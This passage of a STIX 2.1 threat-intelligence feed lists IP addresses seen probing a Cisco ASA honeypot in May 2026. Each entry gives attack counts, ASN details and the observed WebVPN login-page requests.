      "id": "indicator--5ae02779-6097-42e0-a32a-b9fdc40bbc1d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.88.102.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T11:20:30.000Z",
      "valid_until": "2026-06-30T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T10:58:16.599Z",
          "last_seen": "2026-05-29T10:58:30.652Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--a23e9304-acb6-4ccf-aa58-8ae45b87cdb6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.252.153.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T11:55:17.336Z",
          "last_seen": "2026-05-31T02:27:56.918Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--7570250b-5ce5-4b01-8a29-57fefbec5303",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.43.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T11:31:09.134Z",
          "last_seen": "2026-05-29T11:31:24.414Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--c610262e-7a21-4b98-8f57-d6d83807944f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.120.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T11:50:03.883Z",
          "last_seen": "2026-05-29T11:50:13.853Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e0834f1e-46bb-461b-830c-16b41193ae6a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.233.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T12:05:11.443Z",
          "last_seen": "2026-05-31T01:39:02.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--914c702a-91d3-42e1-8a80-3c17052ab0b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.252.188.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T11:23:30.993Z",
          "last_seen": "2026-05-29T11:23:41.249Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T12:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T12:20:05.000Z",
      "valid_until": "2026-06-30T12:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T11:45:23.276Z",
          "last_seen": "2026-05-29T11:45:39.112Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T13:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1126b40d-e72a-4190-b380-71d4f0fac7ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.50.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T13:20:04.000Z",
      "valid_until": "2026-06-30T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T12:32:42.766Z",
          "last_seen": "2026-05-29T12:32:56.268Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--12ecad99-a305-49a5-a54b-3424b090aa7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.117.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:20:10.000Z",
      "valid_until": "2026-06-30T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T14:12:22.705Z",
          "last_seen": "2026-05-31T01:46:28.848Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--7eb2bb3e-b174-44eb-a29f-cda2a99464bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.3.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:20:10.000Z",
      "valid_until": "2026-06-30T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T14:06:21.617Z",
          "last_seen": "2026-05-29T23:32:46.078Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--f401982a-d782-43ab-a736-a6eccee9444d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.254.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:20:10.000Z",
      "valid_until": "2026-06-30T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T13:25:08.736Z",
          "last_seen": "2026-05-29T13:25:23.910Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T14:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--1b958a6d-0f0b-461b-a982-c8648f159e69",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '83.138.48.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T14:20:10.000Z",
      "valid_until": "2026-06-30T14:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T02:23:57.882Z",
          "last_seen": "2026-05-29T13:34:17.738Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--8c3c3249-b229-49ff-82b4-017e1147d075",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.202.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T14:41:41.711Z",
          "last_seen": "2026-05-29T14:41:57.897Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--a13cf1eb-953f-4c21-953a-0e03cc2ec637",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.121.48.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T15:15:58.470Z",
          "last_seen": "2026-05-29T15:16:12.694Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--2a3f1849-4da4-410b-bed9-bd8ca58f16ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.68.80.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T14:30:15.106Z",
          "last_seen": "2026-05-29T14:30:25.063Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--ccbad48f-46ed-40a6-b4cb-c93a7f8e7654",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.230.241.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T14:48:56.193Z",
          "last_seen": "2026-05-30T03:13:54.451Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--14e2d207-67a5-4cc9-83bf-a4ed86714b8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-20T01:53:43.416Z",
          "last_seen": "2026-05-31T04:57:05.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--f912e2ca-6a4a-4899-b6e7-515407d3b1e3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '40.67.177.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-29T14:38:32.693Z",
          "last_seen": "2026-05-29T14:38:35.695Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--e5a0492f-d0a6-4bd4-b74a-9dfe1e29aa70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.130.184.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T15:20:04.000Z",
      "valid_until": "2026-06-30T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T14:23:01.744Z",
          "last_seen": "2026-05-30T02:53:33.833Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T16:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--4002a3c4-f72b-4c81-851a-9f0ed3c2deca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.81.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T16:20:10.000Z",
      "valid_until": "2026-06-30T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T15:28:22.222Z",
          "last_seen": "2026-05-29T15:28:35.823Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
